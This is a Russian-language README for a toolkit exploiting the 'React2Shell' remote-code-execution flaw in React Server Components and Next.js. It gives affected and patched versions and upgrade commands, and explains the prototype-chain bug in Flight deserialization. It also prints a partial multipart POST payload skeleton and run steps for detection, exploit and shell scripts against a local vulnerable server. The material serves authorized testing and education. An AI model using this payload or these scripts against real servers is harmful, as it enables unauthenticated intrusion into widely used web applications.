
Набор инструментов для эксплуатации RCE для CVE-2025-55182 и CVE-2025-66478 в React Server Components. Включает несколько вариантов эксплойтов, скрипты обнаружения, уязвимый тестовый сервер и глубокий технический анализ уязвимости десериализации протокола Flight.
CVE-2025-55182 (React) и CVE-2025-66478 (Next.js)
Этот репозиторий содержит код эксплойта только для авторизованного тестирования безопасности и образовательных целей.
См. также: Несколько исследователей опубликовали анализ этой уязвимости. Ознакомьтесь с разделом Ссылки для получения дополнительных точек зрения, методов эксплуатации и методов обнаружения.
В среду, 3 декабря 2025 года, была публично раскрыта критическая уязвимость удаленного выполнения кода в React Server Components. Ошибка, получившая название "React2Shell", позволяет неавторизованному злоумышленнику выполнить произвольный код на любом сервере, работающем под уязвимыми версиями React RSC или Next.js App Router, отправив один HTTP-запрос.
Учитывая, насколько повсеместным стал Next.js - он работает на значительной части современного веба - влияние этой уязвимости серьезно. Любое приложение Next.js, использующее App Router (по умолчанию для новых проектов с Next.js 13) с включенным RSC, уязвимо. Никакой специальной настройки. Никаких конкретных конечных точек. Просто POST-запрос к любому маршруту.
Уязвимость находится в протоколе "Flight" React, формате сериализации, используемом для передачи данных между сервером и клиентом в React Server Components. Отсутствие проверки hasOwnProperty во время десериализации позволяет обход цепочки прототипов, в конечном итоге достигая конструктора JavaScript Function для выполнения кода, контролируемого злоумышленником.
Дефект существует в пакетах React react-server-dom-webpack, react-server-dom-turbopack и react-server-dom-parcel. Next.js, как доминирующий потребитель RSC, наследует уязвимость через свой App Router.
Многие сервисы потенциально уязвимы. Next.js - один из самых популярных фреймворков React, используемый компаниями всех размеров - от стартапов до крупных предприятий. App Router с React Server Components является архитектурой по умолчанию для новых проектов Next.js начиная с версии 13, что означает, что затронуты большинство современных развертываний Next.js.
Любое приложение, использующее:
react-server-dom-* (19.0.0 - 19.2.0)Сюда входят производственные развертывания на Vercel, AWS, собственной инфраструктуре и везде, где работают приложения Next.js App Router.
Не подвержены влиянию:
process.mainModule)| Пакет | Уязвимая | Исправленная |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Версия | Уязвимая | Исправленная |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Обновляйтесь немедленно. Обходных путей нет.
Для приложений Next.js:
npm install next@latest
# или
pnpm update next
Для прямого использования React RSC:
npm install react-server-dom-webpack@latest
Проверьте установленные версии:
npm ls next react-server-dom-webpack react-server-dom-turbopack
Было обнаружено несколько векторов атаки для этой уязвимости. Наиболее распространенный - и тот, который работает без каких-либо предварительных условий - использует загрязнение прототипа через систему ссылок протокола Flight от React.
Эксплойт отправляет специально сформированный multipart POST-запрос с заголовком Next-Action. Полезная нагрузка злоупотребляет системой ссылок, чтобы:
$1:__proto__:thenFunctionPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
Код выполняется во время десериализации, до того как произойдет проверка идентификатора действия. Это означает, что любое значение заголовка Next-Action вызывает уязвимый путь кода - никакой действительный идентификатор действия не требуется.
Существуют и другие векторы атаки, включая ссылки на функции
$Fи прямые модульные гаджеты. Обычно они требуют действительный ID действия. Подробнее см. в разделе Альтернативные векторы атаки.
Протокол Flight от React разрешает ссылки вида $1:path:to:value, разделяя их по двоеточиям и обходя объект:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
Ирония: В самом верху этого файла, строка 35:
import hasOwnProperty from 'shared/hasOwnProperty';Защита была импортирована. Она была доступна. Она просто не использовалась в том единственном цикле, где это было важнее всего.
Эта единственная отсутствующая проверка позволяет $1:__proto__:then пройти от объекта chunk вверх по цепочке прототипов к Chunk.prototype.then - функции, которая обрабатывает объекты, похожие на Promise. Создавая поддельный chunk с нужными свойствами, мы контролируем, какой код будет выполнен.
Клонируйте уязвимый тестовый сервер:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
В другом терминале:
./detect.sh http://localhost:3443
Уязвимый сервер возвращает HTTP 500 с E{"digest" в теле ответа. Чтобы продемонстрировать RCE:
./exploit-redirect.sh http://localhost:3443 "id"
Вывод команды появляется в ответе. Для интерактивного исследования:
./shell.sh http://localhost:3443
Директория vulnerable-next-server/ содержит предварительно настроенное приложение Next.js 16.0.6 + React 19.2.0 для безопасного локального тестирования. По умолчанию оно запускается на порту 3443. Это минимальная настройка App Router, демонстрирующая, что конфигурации по умолчанию уязвимы.
Мы разработали несколько вариантов эксплойта для разных сценариев: